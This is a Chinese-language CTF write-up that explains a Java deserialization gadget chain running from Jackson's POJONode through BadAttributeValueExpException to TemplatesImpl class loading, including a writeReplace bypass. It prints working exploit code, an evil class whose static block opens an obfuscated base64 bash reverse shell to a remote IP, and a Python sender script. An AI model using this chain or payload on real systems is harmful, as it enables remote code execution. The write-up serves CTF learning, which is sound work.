看下路由
在bypassit路由进行反序列化,看下依赖
存在jackson,看下版本jdk-8u332
考察的是jackson触发TemplatesImpl的getter方法(getOutputProperties)
jackson调用getter流程
BaseJsonNode的toString方法会触发InternalNodeMapper的nodeToString方法
然后调用ObjectWrite的writeValueAsString方法
然后调用ObjectWriter#_writeValueAndClose
然后调用ObjectWriter#serialize
然后调用DefaultSerializerProvider#serializeValue
然后调用DefaultSerializerProvider#_serialize
传入BeanSerializer可以调用BeanSerializer#serialize
然后调用BeanSerializerBase#serializeFields
然后调用BeanPropertyWriter#serializeAsField
调用链
BaseJsonNode#toString->
InternalNodeMapper#nodeToString->
ObjectWriter#writeValueAsString->
ObjectWriter#_writeValueAndClose->
DefaultSerializerProvider#serializeValue->
DefaultSerializerProvider#_serialize->
BeanSerializer#serialize->
BeanSerializerBase#serializeFields->
BeanPropertyWriter#serializeAsField
可以看到确实调用了getter方法,后面就可以走cb的TemplatesImpl#getOutputProperties进行恶意类加载,前面直接用BadAttributeValueExpException来触发toString就行.不过BaseJsonNode是个抽象类,需要找他的实现类来实例化,这里用POJONode
最终的调用链
BadAttributeValueExpException#readObject->
BaseJsonNode#toString->
InternalNodeMapper#nodeToString->
ObjectWriter#writeValueAsString->
ObjectWriter#_writeValueAndClose->
DefaultSerializerProvider#serializeValue->
DefaultSerializerProvider#_serialize->
BeanSerializer#serialize->
BeanSerializerBase#serializeFields->
BeanPropertyWriter#serializeAsField->
TemplatesImpl#getOutputProperties->
TemplatesImpl#newTransformer->
TemplatesImpl#getTransletInstance->(类初始化)
TemplatesImpl#defineTransletClasses->
defineClass(类加载)
exp
/**
* @ClassName exp
* @Description
* @Author Xutao
* @Date 2024年09月24日 12:30
* @Version 1.0
*/
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import com.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.ser.BeanSerializer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class exp {
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
fileOutputStream.close();
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("E:\\eval.class"));
byte[][] codes={code};
TemplatesImpl templatesImpl=new TemplatesImpl();
setFieldValue(templatesImpl,"_name","1212");
setFieldValue(templatesImpl,"_bytecodes",codes);
setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl());
POJONode node = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",node);
serialize(badAttributeValueExpException);
}
}
eval.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;
public class eval extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIxLjExMC80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
不过在序列化的时候报错了
这是因为java在序列化的时候,如果序列化的类实现了writeReplace方法,就会调用并做检查。BaseJsonNode就实现了这个方法
绕过writeReplace
可以仿写一个BaseJsonNode然后不实现writeReplace方法
然后序列化就不会报错
然后把序列化的内容传过去,因为是不可见字符,用python发包
import requests
url= "http://101.43.121.110:12345/bypassit"
data=open('E://tao.txt','rb')
r=requests.post(url,data)
print(r.text)
拿到shell。